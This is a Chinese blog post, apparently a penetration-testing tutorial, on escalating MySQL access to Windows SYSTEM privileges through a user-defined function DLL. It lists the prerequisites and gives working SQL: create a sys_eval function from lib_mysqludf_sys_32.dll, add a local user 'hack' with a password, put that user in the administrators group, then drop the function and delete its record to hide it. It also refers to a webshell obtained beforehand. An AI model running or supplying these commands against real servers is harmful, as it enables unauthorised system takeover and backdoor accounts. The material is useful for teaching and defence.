mysql提权源码_mysql提权

0x01 原理

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

利用条件

Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

可以将udf.dll写入到相应目录的权限。

dll链接

进行查看,这个目录也就是dll文件需要导入的目录,我们在拿到webshell后翻到数据库连接信息,蚁剑连接

c283e27d9ca7b2d5cb5496517a06d664.png

0x02 前提条件

关于plugin目录,可在mysql中执行

show variables like '%plugin%';

3b9317ee35a601e80ddc4890a3b9cf84.png

如果是远程的mysql并且有写入权限的话 (用@@secure_file_priv查看)只要返回不是NULL就有写权限,可以在my.ini加入secure_file_priv= 开启

0985d34d64b037fa477e56d5a78e296e.png

在5.1以上lib下面没有plugin目录所以要我们手工创建

0x03 利用方式

将dll文件导入到相应目录,如果导入错误会产生can`t open shared library错误

e7967e96d8352ffe4ee4da302e74ffc0.png

创建自定义函数

create function sys_eval returns string soname 'lib_mysqludf_sys_32.dll';

select sys_eval('net user hack yicunyiye123.. /add');

select sys_eval('net localgroup administrators hack /add');

drop function sys_eval; 删除函数

delete from mysql.func where name='sys_eval'; 删除函数

1.创建函数

7ec48798c16c6fad4201785c08f2a6d0.png

2.添加账户

f61edeb8c203612280acc8faae9fb158.png

3.添加至管理员组

ed5f368ea9747ecce74e590c0e9365c0.png

4.删除函数

882dc6d4d21cdf6e47cd93f0c302558c.png

07ea86decf033a9dbfa634f01ad50044.png

5.查看用户

665975fa0749cdcf412b004596ff3ed4.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值